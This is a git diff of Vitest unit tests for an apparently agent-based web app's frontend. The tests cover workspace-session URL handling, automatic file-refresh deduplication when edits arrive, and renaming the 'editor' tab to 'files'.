+ useRuntimeIsReadyMock.mockReset();
+ useRuntimeIsReadyMock.mockReturnValue(true);
+});
+
+afterEach(() => {
+ vi.restoreAllMocks();
+});
+
+describe("useWorkspaceSession", () => {
+ it("calls startWorkspaceSession and exposes the returned baseUrl", async () => {
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ id: "conv-1",
+ conversation_url: "https://agent.example.com/api/conversations/conv-1",
+ session_api_key: "key-abc",
+ },
+ });
+ startWorkspaceSessionMock.mockResolvedValue(
+ "https://agent.example.com/api/conversations/conv-1/workspace/",
+ );
+
+ const { result } = renderHook(() => useWorkspaceSession(), {
+ wrapper: makeWrapper(),
+ });
+
+ await waitFor(() => {
+ expect(result.current.data?.baseUrl).toBe(
+ "https://agent.example.com/api/conversations/conv-1/workspace/",
+ );
+ });
+
+ expect(createRemoteWorkspaceMock).toHaveBeenCalledTimes(1);
+ expect(createRemoteWorkspaceMock).toHaveBeenCalledWith({
+ conversationUrl: "https://agent.example.com/api/conversations/conv-1",
+ sessionApiKey: "key-abc",
+ });
+ expect(startWorkspaceSessionMock).toHaveBeenCalledTimes(1);
+ expect(startWorkspaceSessionMock).toHaveBeenCalledWith("conv-1");
+ });
+
+ it("does not call startWorkspaceSession until the runtime is ready", async () => {
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ id: "conv-1",
+ conversation_url: "https://agent.example.com/api/conversations/conv-1",
+ session_api_key: "key-abc",
+ },
+ });
+ useRuntimeIsReadyMock.mockReturnValue(false);
+
+ const { result } = renderHook(() => useWorkspaceSession(), {
+ wrapper: makeWrapper(),
+ });
+
+ // Give react-query a tick to schedule (it shouldn't).
+ await flushScheduler();
+ expect(startWorkspaceSessionMock).not.toHaveBeenCalled();
+ expect(result.current.data).toBeNull();
+ });
+
+ it("does not call startWorkspaceSession without a conversation id", async () => {
+ useActiveConversationMock.mockReturnValue({ data: undefined });
+
+ renderHook(() => useWorkspaceSession(), { wrapper: makeWrapper() });
+
+ await flushScheduler();
+ expect(startWorkspaceSessionMock).not.toHaveBeenCalled();
+ });
+
+ it("surfaces the error when the workspace-session POST fails", async () => {
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ id: "conv-1",
+ conversation_url: "https://agent.example.com/api/conversations/conv-1",
+ session_api_key: "bad-key",
+ },
+ });
+ startWorkspaceSessionMock.mockRejectedValue(new Error("401 Unauthorized"));
+
+ const { result } = renderHook(() => useWorkspaceSession(), {
+ wrapper: makeWrapper(),
+ });
+
+ await waitFor(() => expect(result.current.isError).toBe(true));
+ expect(result.current.error?.message).toMatch(/401/);
+ expect(result.current.data).toBeNull();
+ });
+});
+
+describe("joinWorkspaceUrl", () => {
+ const base = "https://agent.example.com/api/conversations/c1/workspace/";
+
+ it("returns the base URL when no relative path is supplied", () => {
+ expect(joinWorkspaceUrl(base)).toBe(base);
+ expect(joinWorkspaceUrl(base, "")).toBe(base);
+ expect(joinWorkspaceUrl(base, null)).toBe(base);
+ });
+
+ it("appends a single-segment path", () => {
+ expect(joinWorkspaceUrl(base, "index.html")).toBe(`${base}index.html`);
+ });
+
+ it("appends nested paths preserving separators", () => {
+ expect(joinWorkspaceUrl(base, "src/components/App.tsx")).toBe(
+ `${base}src/components/App.tsx`,
+ );
+ });
+
+ it("strips leading slashes on the relative path", () => {
+ expect(joinWorkspaceUrl(base, "/index.html")).toBe(`${base}index.html`);
+ expect(joinWorkspaceUrl(base, "///deep/path.md")).toBe(
+ `${base}deep/path.md`,
+ );
+ });
+
+ it("URL-encodes individual segments but not the separators", () => {
+ expect(joinWorkspaceUrl(base, "my files/has spaces.txt")).toBe(
+ `${base}my%20files/has%20spaces.txt`,
+ );
+ expect(joinWorkspaceUrl(base, "tëst/résumé.pdf")).toBe(
+ `${base}t%C3%ABst/r%C3%A9sum%C3%A9.pdf`,
+ );
+ });
+});
diff --git a/__tests__/hooks/use-auto-refresh-files-on-edit.test.tsx b/__tests__/hooks/use-auto-refresh-files-on-edit.test.tsx
new file mode 100644
index 0000000000..f68d7cf7dc
--- /dev/null
+++ b/__tests__/hooks/use-auto-refresh-files-on-edit.test.tsx
@@ -0,0 +1,377 @@
+import { describe, it, expect, beforeEach, vi } from "vitest";
+import { act, renderHook } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import React from "react";
+
+import { useAutoRefreshFilesOnEdit } from "#/hooks/use-auto-refresh-files-on-edit";
+import { useEventStore } from "#/stores/use-event-store";
+import type { OHEvent } from "#/stores/use-event-store";
+import { useWorkspaceMutationCounter } from "#/stores/use-workspace-mutation-counter";
+
+function makeWrapper(client: QueryClient) {
+ return ({ children }: { children: React.ReactNode }) => (
+ <QueryClientProvider client={client}>{children}</QueryClientProvider>
+ );
+}
+
+function makeObservationEvent(
+ id: string,
+ kind: string,
+ command: string,
+): OHEvent {
+ return {
+ id,
+ timestamp: new Date(Date.now() + Number(id.replace(/\D/g, "")) * 1000)
+ .toISOString(),
+ source: "environment",
+ tool_name: "str_replace_based_edit_tool",
+ tool_call_id: `tc-${id}`,
+ action_id: `act-${id}`,
+ observation: {
+ kind,
+ command,
+ path: "/workspace/project/foo.txt",
+ old_content: null,
+ new_content: "hello",
+ output: "ok",
+ },
+ } as unknown as OHEvent;
+}
+
+describe("useAutoRefreshFilesOnEdit", () => {
+ beforeEach(() => {
+ act(() => {
+ useEventStore.getState().clearEvents();
+ // Reset the workspace mutation counter so per-test counter assertions
+ // don't see ticks bled over from earlier tests.
+ useWorkspaceMutationCounter.setState({ count: 0 });
+ });
+ });
+
+ it("invalidates workspace queries when a mutating file editor observation arrives", () => {
+ const client = new QueryClient();
+ const spy = vi.spyOn(client, "invalidateQueries");
+
+ renderHook(() => useAutoRefreshFilesOnEdit(), {
+ wrapper: makeWrapper(client),
+ });
+
+ expect(spy).not.toHaveBeenCalled();
+
+ act(() => {
+ useEventStore
+ .getState()
+ .addEvent(
+ makeObservationEvent("1", "FileEditorObservation", "str_replace"),
+ );
+ });
+
+ const invalidatedKeys = spy.mock.calls.map(
+ (call) => (call[0] as { queryKey: unknown[] }).queryKey[0],
+ );
+ expect(invalidatedKeys).toContain("workspace-files");
+ expect(invalidatedKeys).toContain("workspace-file-content");
+ expect(invalidatedKeys).toContain("file_changes");
+ });
+
+ it("ignores read-only `view` observations", () => {
+ const client = new QueryClient();
+ const spy = vi.spyOn(client, "invalidateQueries");
+
+ renderHook(() => useAutoRefreshFilesOnEdit(), {
+ wrapper: makeWrapper(client),
+ });
+
+ act(() => {
+ useEventStore
+ .getState()
+ .addEvent(makeObservationEvent("1", "FileEditorObservation", "view"));
+ });
+
+ expect(spy).not.toHaveBeenCalled();
+ });
+
+ it("ignores non-file observation kinds", () => {
+ const client = new QueryClient();
+ const spy = vi.spyOn(client, "invalidateQueries");
+
+ renderHook(() => useAutoRefreshFilesOnEdit(), {
+ wrapper: makeWrapper(client),
+ });
+
+ act(() => {
+ useEventStore
+ .getState()
+ .addEvent(
+ makeObservationEvent("1", "ExecuteBashObservation", "ls"),
+ );
+ });
+
+ expect(spy).not.toHaveBeenCalled();
+ });
+
+ it("bumps the workspace mutation counter on each mutating observation so iframes / images cache-bust", () => {
+ const client = new QueryClient();
+
+ renderHook(() => useAutoRefreshFilesOnEdit(), {
+ wrapper: makeWrapper(client),
+ });
+
+ expect(useWorkspaceMutationCounter.getState().count).toBe(0);
+
+ act(() => {
+ useEventStore
+ .getState()
+ .addEvent(
+ makeObservationEvent("1", "FileEditorObservation", "str_replace"),
+ );
+ });
+ expect(useWorkspaceMutationCounter.getState().count).toBe(1);
+
+ act(() => {
+ useEventStore
+ .getState()
+ .addEvent(
+ makeObservationEvent(
+ "2",
+ "StrReplaceEditorObservation",
+ "create",
+ ),
+ );
+ });
+ expect(useWorkspaceMutationCounter.getState().count).toBe(2);
+ });
+
+ it("does NOT bump the workspace mutation counter for read-only / non-file observations", () => {
+ const client = new QueryClient();
+
+ renderHook(() => useAutoRefreshFilesOnEdit(), {
+ wrapper: makeWrapper(client),
+ });
+
+ act(() => {
+ useEventStore
+ .getState()
+ .addEvent(makeObservationEvent("1", "FileEditorObservation", "view"));
+ useEventStore
+ .getState()
+ .addEvent(
+ makeObservationEvent("2", "ExecuteBashObservation", "ls"),
+ );
+ });
+
+ expect(useWorkspaceMutationCounter.getState().count).toBe(0);
+ });
+
+ it("still reacts to mutations that arrive out-of-order (older timestamp inserted between newer events)", () => {
+ // Regression test for a bug where the hook used `events.slice(processedCount)`
+ // to find new events. The event store re-sorts by timestamp on insert,
+ // so a late-arriving older event lands *between* two newer ones and
+ // the tail slice would miss it.
+ const client = new QueryClient();
+ const spy = vi.spyOn(client, "invalidateQueries");
+
+ renderHook(() => useAutoRefreshFilesOnEdit(), {
+ wrapper: makeWrapper(client),
+ });
+
+ // First, push two newer events. The id-numbers drive the timestamp,
+ // so id "10" is later than id "5". Both land in the same effect run
+ // (we coalesce — one bump per batch, not per event), so count goes
+ // from 0 → 1.
+ act(() => {
+ useEventStore
+ .getState()
+ .addEvent(makeObservationEvent("10", "FileEditorObservation", "create"));
+ useEventStore
+ .getState()
+ .addEvent(makeObservationEvent("20", "FileEditorObservation", "create"));
+ });
+ const callsAfterInitial = spy.mock.calls.length;
+ expect(callsAfterInitial).toBeGreaterThan(0);
+ const countAfterInitial = useWorkspaceMutationCounter.getState().count;
+ expect(countAfterInitial).toBe(1);
+
+ // Now insert an OLDER event (id "5" → earliest timestamp). The store
+ // re-sorts so the events array becomes [e5, e10, e20]. The previous
+ // "slice from index 2" approach would return [e20] only and miss e5
+ // entirely — no invalidation, no cache-bust, stale iframe.
+ act(() => {
+ useEventStore
+ .getState()
+ .addEvent(makeObservationEvent("5", "FileEditorObservation", "create"));
+ });
+
+ // We should have invalidated again and bumped the counter exactly once
+ // more for the late-arriving mutation (count: 1 → 2).
+ expect(spy.mock.calls.length).toBeGreaterThan(callsAfterInitial);
+ expect(useWorkspaceMutationCounter.getState().count).toBe(
+ countAfterInitial + 1,
+ );
+ });
+
+ it("processes each id-less event distinctly (does NOT collapse them via an `undefined` Set key)", () => {
+ // The event store explicitly allows events without ids
+ // (`getEventId` returns undefined for them). If the hook keyed dedup
+ // on `event.id` naively, a single `undefined` entry in the Set would
+ // swallow every subsequent id-less event — silently dropping real
+ // mutations on the floor.
+ //
+ // Verifies via three SEPARATE act() calls (one per event) so each
+ // store mutation gets its own effect-flush. The counter bumps once
+ // per flush that found at least one new mutation; three flushes →
+ // counter ends at 3. Putting all three addEvent calls inside a
+ // single act() would batch them into one flush (counter=1) and
+ // verify nothing useful.
+ const client = new QueryClient();
+
+ renderHook(() => useAutoRefreshFilesOnEdit(), {
+ wrapper: makeWrapper(client),
+ });
+
+ // Three distinct id-less FileEditorObservation events (different
+ // timestamps so the store treats them as ordered, not duplicates).
+ const idlessEvent = (i: number): OHEvent =>
+ ({
+ // no `id` field at all → getEventId returns undefined
+ timestamp: new Date(2026, 0, 1, 0, 0, i).toISOString(),
+ source: "environment",
+ tool_name: "str_replace_based_edit_tool",
+ tool_call_id: `tc-idless-${i}`,
+ action_id: `act-idless-${i}`,
+ observation: {
+ kind: "FileEditorObservation",
+ command: "create",
+ path: `/workspace/project/foo${i}.txt`,
+ old_content: null,
+ new_content: "hello",
+ output: "ok",
+ },
+ }) as unknown as OHEvent;
+
+ act(() => {
+ useEventStore.getState().addEvent(idlessEvent(1));
+ });
+ expect(useWorkspaceMutationCounter.getState().count).toBe(1);
+
+ act(() => {
+ useEventStore.getState().addEvent(idlessEvent(2));
+ });
+ expect(useWorkspaceMutationCounter.getState().count).toBe(2);
+
+ act(() => {
+ useEventStore.getState().addEvent(idlessEvent(3));
+ });
+ expect(useWorkspaceMutationCounter.getState().count).toBe(3);
+ });
+
+ it("does NOT re-bump on subsequent renders for the same id-less event", () => {
+ // Companion to the previous test, targeting the *other* half of the
+ // id-less dedup contract: each id-less event must be processed
+ // exactly ONCE across the lifetime of the hook. Without
+ // reference-based dedup (`processedEventsRef` WeakSet) the events
+ // array — which is rebuilt on every store mutation but keeps stable
+ // element references — would cause the same id-less event to
+ // re-trigger the bump on every subsequent re-render, spamming
+ // cache invalidations.
+ const client = new QueryClient();
+
+ const { rerender } = renderHook(() => useAutoRefreshFilesOnEdit(), {
+ wrapper: makeWrapper(client),
+ });
+
+ const idlessEvent: OHEvent = {
+ timestamp: new Date(2026, 0, 1, 0, 0, 0).toISOString(),
+ source: "environment",
+ tool_name: "str_replace_based_edit_tool",
+ tool_call_id: "tc-idless-stable",
+ action_id: "act-idless-stable",
+ observation: {
+ kind: "FileEditorObservation",
+ command: "create",
+ path: "/workspace/project/foo.txt",
+ old_content: null,
+ new_content: "hello",
+ output: "ok",
+ },
+ } as unknown as OHEvent;
+
+ act(() => {
+ useEventStore.getState().addEvent(idlessEvent);
+ });
+ expect(useWorkspaceMutationCounter.getState().count).toBe(1);
+
+ // Force several extra re-renders without adding new events. The
+ // id-less event still sits in the events array on every re-render,
+ // but the WeakSet dedup must prevent it from being re-processed.
+ rerender();
+ rerender();
+ rerender();
+ expect(useWorkspaceMutationCounter.getState().count).toBe(1);
+ });
+
+ it("dedupes numeric event ids the same way as string ids", () => {
+ // The formal EventID type is `string`, but the event store carries
+ // `Set<string | number>` defensively (use-event-store.ts:52) and
+ // `getEventId` returns `string | number | undefined`. The hook's
+ // processed-ids set is widened to match — a stray numeric id (legacy
+ // payload, hand-crafted test event, …) must still dedup correctly.
+ const client = new QueryClient();
+
+ renderHook(() => useAutoRefreshFilesOnEdit(), {
+ wrapper: makeWrapper(client),
+ });
+
+ const numericEvent: OHEvent = {
+ id: 42 as unknown as string, // intentionally numeric at runtime
+ timestamp: new Date(2026, 0, 1, 0, 0, 1).toISOString(),
+ source: "environment",
+ tool_name: "str_replace_based_edit_tool",
+ tool_call_id: "tc-num",
+ action_id: "act-num",
+ observation: {
+ kind: "FileEditorObservation",
+ command: "create",
+ path: "/workspace/project/foo.txt",
+ old_content: null,
+ new_content: "hello",
+ output: "ok",
+ },
+ } as unknown as OHEvent;
+
+ act(() => {
+ useEventStore.getState().addEvent(numericEvent);
+ });
+ const afterFirst = useWorkspaceMutationCounter.getState().count;
+ expect(afterFirst).toBe(1);
+
+ // Re-adding the same numeric-id event must be a no-op for the
+ // counter (store dedups on id; hook must too).
+ act(() => {
+ useEventStore.getState().addEvent({ ...numericEvent });
+ });
+ expect(useWorkspaceMutationCounter.getState().count).toBe(afterFirst);
+ });
+
+ it("only invalidates once per new event batch", () => {
+ const client = new QueryClient();
+ const spy = vi.spyOn(client, "invalidateQueries");
+
+ const { rerender } = renderHook(() => useAutoRefreshFilesOnEdit(), {
+ wrapper: makeWrapper(client),
+ });
+
+ act(() => {
+ useEventStore
+ .getState()
+ .addEvent(makeObservationEvent("1", "FileEditorObservation", "create"));
+ });
+
+ const callsAfterFirst = spy.mock.calls.length;
+ expect(callsAfterFirst).toBeGreaterThan(0);
+
+ // Re-render without adding new events — should not re-invalidate.
+ rerender();
+ expect(spy.mock.calls.length).toBe(callsAfterFirst);
+ });
+});
diff --git a/__tests__/hooks/use-draft-persistence.test.tsx b/__tests__/hooks/use-draft-persistence.test.tsx
index 0734470324..8146a991ae 100644
--- a/__tests__/hooks/use-draft-persistence.test.tsx
+++ b/__tests__/hooks/use-draft-persistence.test.tsx
@@ -36,28 +36,34 @@ describe("useDraftPersistence", () => {
// Default mock for useConversationLocalStorageState
vi.mocked(conversationLocalStorage.useConversationLocalStorageState).mockReturnValue({
state: {
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: null,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
},
setSelectedTab: vi.fn(),
setRightPanelShown: vi.fn(),
setUnpinnedTabs: vi.fn(),
setConversationMode: vi.fn(),
setDraftMessage: mockSetDraftMessage,
+ setFilesTabDiffView: vi.fn(),
+ setFilesTabContentViewMode: vi.fn(),
});
// Default mock for getConversationState
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: null,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
});
});
@@ -74,12 +80,14 @@ describe("useDraftPersistence", () => {
const chatInputRef = createMockChatInputRef();
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: savedDraft,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
});
// Act
@@ -97,12 +105,14 @@ describe("useDraftPersistence", () => {
const chatInputRef = createMockChatInputRef(existingContent);
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: savedDraft,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
});
// Act
@@ -118,12 +128,14 @@ describe("useDraftPersistence", () => {
const chatInputRef = createMockChatInputRef("Some stale content");
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: null,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
});
// Act
@@ -206,27 +218,33 @@ describe("useDraftPersistence", () => {
vi.mocked(conversationLocalStorage.useConversationLocalStorageState).mockReturnValue({
state: {
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: existingDraft,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
},
setSelectedTab: vi.fn(),
setRightPanelShown: vi.fn(),
setUnpinnedTabs: vi.fn(),
setConversationMode: vi.fn(),
setDraftMessage: mockSetDraftMessage,
+ setFilesTabDiffView: vi.fn(),
+ setFilesTabContentViewMode: vi.fn(),
});
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: existingDraft,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
});
const { result } = renderHook(() =>
@@ -306,20 +324,24 @@ describe("useDraftPersistence", () => {
// First conversation has a draft
vi.mocked(conversationLocalStorage.getConversationState)
.mockReturnValueOnce({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: "Draft from conv A",
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
})
.mockReturnValue({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: null,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
});
const { rerender } = renderHook(
@@ -342,20 +364,24 @@ describe("useDraftPersistence", () => {
vi.mocked(conversationLocalStorage.getConversationState)
.mockReturnValueOnce({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: null,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
})
.mockReturnValue({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: draftForConvB,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
});
const { rerender } = renderHook(
@@ -409,12 +435,14 @@ describe("useDraftPersistence", () => {
const chatInputRef = createMockChatInputRef("Draft typed during init");
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: null,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
});
const { rerender } = renderHook(
@@ -444,12 +472,14 @@ describe("useDraftPersistence", () => {
const chatInputRef = createMockChatInputRef("");
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: null,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
});
const { rerender } = renderHook(
@@ -471,12 +501,14 @@ describe("useDraftPersistence", () => {
const chatInputRef = createMockChatInputRef("Some draft");
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: null,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
});
const { rerender } = renderHook(
@@ -502,18 +534,22 @@ describe("useDraftPersistence", () => {
vi.mocked(conversationLocalStorage.useConversationLocalStorageState).mockReturnValue({
state: {
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: "Existing draft",
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
},
setSelectedTab: vi.fn(),
setRightPanelShown: vi.fn(),
setUnpinnedTabs: vi.fn(),
setConversationMode: vi.fn(),
setDraftMessage: mockSetDraftMessage,
+ setFilesTabDiffView: vi.fn(),
+ setFilesTabContentViewMode: vi.fn(),
});
// Act
@@ -545,12 +581,14 @@ describe("useDraftPersistence", () => {
const chatInputRef = createMockChatInputRef();
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: "Draft to restore",
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
});
// Act
diff --git a/__tests__/hooks/use-handle-plan-click.test.tsx b/__tests__/hooks/use-handle-plan-click.test.tsx
index bc34cbc531..9cd54c9a4d 100644
--- a/__tests__/hooks/use-handle-plan-click.test.tsx
+++ b/__tests__/hooks/use-handle-plan-click.test.tsx
@@ -88,12 +88,14 @@ describe("useHandlePlanClick", () => {
);
vi.mocked(getConversationState).mockReturnValue({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
subConversationTaskId: null,
conversationMode: "code",
draftMessage: null,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
});
});
@@ -118,12 +120,14 @@ describe("useHandlePlanClick", () => {
);
vi.mocked(getConversationState).mockReturnValue({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
subConversationTaskId: storedTaskId,
conversationMode: "code",
draftMessage: null,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
});
renderHook(() => useHandlePlanClick());
@@ -157,12 +161,14 @@ describe("useHandlePlanClick", () => {
);
vi.mocked(getConversationState).mockReturnValue({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
subConversationTaskId: storedTaskId,
conversationMode: "code",
draftMessage: null,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
});
renderHook(() => useHandlePlanClick());
diff --git a/__tests__/hooks/use-select-conversation-tab.test.ts b/__tests__/hooks/use-select-conversation-tab.test.ts
index d1857d511a..31ed15b210 100644
--- a/__tests__/hooks/use-select-conversation-tab.test.ts
+++ b/__tests__/hooks/use-select-conversation-tab.test.ts
@@ -33,11 +33,11 @@ describe("useSelectConversationTab", () => {
// Act: Select a tab
act(() => {
- result.current.selectTab("editor");
+ result.current.selectTab("files");
});
// Assert: Panel should be open and tab selected
- expect(useConversationStore.getState().selectedTab).toBe("editor");
+ expect(useConversationStore.getState().selectedTab).toBe("files");
expect(useConversationStore.getState().hasRightPanelToggled).toBe(true);
// Verify localStorage was updated
@@ -46,14 +46,14 @@ describe("useSelectConversationTab", () => {
`conversation-state-${TEST_CONVERSATION_ID}`,
)!,
);
- expect(storedState.selectedTab).toBe("editor");
+ expect(storedState.selectedTab).toBe("files");
expect(storedState.rightPanelShown).toBe(true);
});
it("should close panel when clicking the same active tab", () => {
// Arrange: Panel is open with editor tab selected
useConversationStore.setState({
- selectedTab: "editor",
+ selectedTab: "files",
isRightPanelShown: true,
hasRightPanelToggled: true,
});
@@ -62,7 +62,7 @@ describe("useSelectConversationTab", () => {
// Act: Click the same tab again
act(() => {
- result.current.selectTab("editor");
+ result.current.selectTab("files");
});
// Assert: Panel should be closed
@@ -80,7 +80,7 @@ describe("useSelectConversationTab", () => {
it("should switch to different tab when panel is already open", () => {
// Arrange: Panel is open with editor tab selected
useConversationStore.setState({
- selectedTab: "editor",
+ selectedTab: "files",
isRightPanelShown: true,
hasRightPanelToggled: true,
});
@@ -110,7 +110,7 @@ describe("useSelectConversationTab", () => {
it("should return true when tab is selected and panel is visible", () => {
// Arrange: Panel is open with editor tab selected
useConversationStore.setState({
- selectedTab: "editor",
+ selectedTab: "files",
isRightPanelShown: true,
hasRightPanelToggled: true,
});
@@ -118,13 +118,13 @@ describe("useSelectConversationTab", () => {
const { result } = renderHook(() => useSelectConversationTab());
// Assert: Editor tab should be active
- expect(result.current.isTabActive("editor")).toBe(true);
+ expect(result.current.isTabActive("files")).toBe(true);
});
it("should return false when tab is selected but panel is not visible", () => {
// Arrange: Editor tab selected but panel is closed
useConversationStore.setState({
- selectedTab: "editor",
+ selectedTab: "files",
isRightPanelShown: false,
hasRightPanelToggled: false,
});
@@ -132,13 +132,13 @@ describe("useSelectConversationTab", () => {
const { result } = renderHook(() => useSelectConversationTab());
// Assert: Editor tab should not be active
- expect(result.current.isTabActive("editor")).toBe(false);
+ expect(result.current.isTabActive("files")).toBe(false);
});
it("should return false when different tab is selected", () => {
// Arrange: Panel is open with editor tab selected
useConversationStore.setState({
- selectedTab: "editor",
+ selectedTab: "files",
isRightPanelShown: true,
hasRightPanelToggled: true,
});
@@ -181,7 +181,7 @@ describe("useSelectConversationTab", () => {
it("should set tab to null when passing null", () => {
// Arrange
useConversationStore.setState({
- selectedTab: "editor",
+ selectedTab: "files",
isRightPanelShown: true,
hasRightPanelToggled: true,
});
@@ -224,7 +224,7 @@ describe("useSelectConversationTab", () => {
it("should return current isRightPanelShown from store", () => {
// Arrange
useConversationStore.setState({
- selectedTab: "editor",
+ selectedTab: "files",
isRightPanelShown: true,
hasRightPanelToggled: true,
});
diff --git a/__tests__/i18n/files-diff-label.test.ts b/__tests__/i18n/files-diff-label.test.ts
new file mode 100644
index 0000000000..46c65e3006
--- /dev/null
+++ b/__tests__/i18n/files-diff-label.test.ts
@@ -0,0 +1,22 @@
+import { describe, expect, it } from "vitest";
+import fs from "fs";
+import path from "path";
+
+// The Files-tab diff toggle was renamed from "Diff view" to just "Diff".
+// Lock that down at the source-of-truth (translation.json) rather than the
+// rendered label, because the test environment's i18next mock returns keys
+// rather than translated strings.
+describe("FILES$DIFF_VIEW label", () => {
+ const translationPath = path.join(
+ __dirname,
+ "../../src/i18n/translation.json",
+ );
+ const translation = JSON.parse(
+ fs.readFileSync(translationPath, "utf-8"),
+ ) as Record<string, Record<string, string>>;
+
+ it('uses "Diff" (not "Diff view") in English', () => {
+ expect(translation.FILES$DIFF_VIEW).toBeDefined();
+ expect(translation.FILES$DIFF_VIEW.en).toBe("Diff");
+ });
+});
diff --git a/__tests__/routes/files-tab.test.tsx b/__tests__/routes/files-tab.test.tsx
new file mode 100644
index 0000000000..a7e3bfe540
--- /dev/null
+++ b/__tests__/routes/files-tab.test.tsx
@@ -0,0 +1,416 @@
+/* eslint-disable react/jsx-props-no-spreading */
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { MemoryRouter } from "react-router";
+
+import FilesTab from "#/routes/files-tab";
+
+// Mocks must be declared before the SUT is imported.
+const useIsGitRepoMock = vi.fn();
+const useHasGitCommitsMock = vi.fn();
+const useWorkspaceFilesMock = vi.fn();
+const useWorkspaceFileContentMock = vi.fn();
+const refetchGitChangesMock = vi.fn();
+
+vi.mock("#/hooks/use-is-git-repo", () => ({
+ useIsGitRepo: () => useIsGitRepoMock(),
+}));
+
+vi.mock("#/hooks/query/use-has-git-commits", () => ({
+ useHasGitCommits: (opts?: { enabled?: boolean }) =>
+ useHasGitCommitsMock(opts),
+}));
+
+vi.mock("#/hooks/query/use-workspace-files", () => ({
+ useWorkspaceFiles: () => useWorkspaceFilesMock(),
+}));
+
+vi.mock("#/hooks/query/use-workspace-file-content", () => ({
+ useWorkspaceFileContent: (path: string | null) =>
+ useWorkspaceFileContentMock(path),
+}));
+
+vi.mock("#/hooks/query/use-unified-get-git-changes", () => ({
+ useUnifiedGetGitChanges: () => ({
+ refetch: refetchGitChangesMock,
+ isFetching: false,
+ }),
+}));
+
+vi.mock("#/routes/changes-tab", () => ({
+ default: () => <div data-testid="changes-tab-content">Diff View</div>,
+}));
+
+function renderTab() {
+ const client = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ return render(
+ <MemoryRouter>
+ <QueryClientProvider client={client}>
+ <FilesTab />
+ </QueryClientProvider>
+ </MemoryRouter>,
+ );
+}
+
+describe("FilesTab", () => {
+ beforeEach(() => {
+ useIsGitRepoMock.mockReset();
+ useHasGitCommitsMock.mockReset();
+ useWorkspaceFilesMock.mockReset();
